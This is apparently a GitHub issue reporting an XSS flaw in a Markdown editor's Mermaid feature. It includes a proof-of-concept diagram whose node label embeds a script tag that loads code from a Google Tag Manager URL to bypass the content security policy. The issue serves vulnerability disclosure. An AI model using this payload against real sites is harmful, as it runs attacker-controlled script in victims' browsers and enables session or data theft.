Skip to content

XSS Vulnerability in Markdown Editor  #1233

@5alt

Description

@5alt

Hi,

I found a XSS issue in the editor. The XSS lies in the Mermaid feature.

The following is the PoC, you can also check it here.

graph TD
A[<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G ></script>] -->|Get money| B(Go shopping)
B --> C{Let me think}
C -->|One| D[Laptop]
C -->|Two| E[iPhone]
C -->|Three| F[fa:fa-car Car]
Loading

The editor renders the script tag in the html and I can bypass the CSP using google-analytics as shows in this link.

Metadata

Metadata

Assignees

No one assigned

    Labels

    securityupstreamThis issue belongs to a library or component outside

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions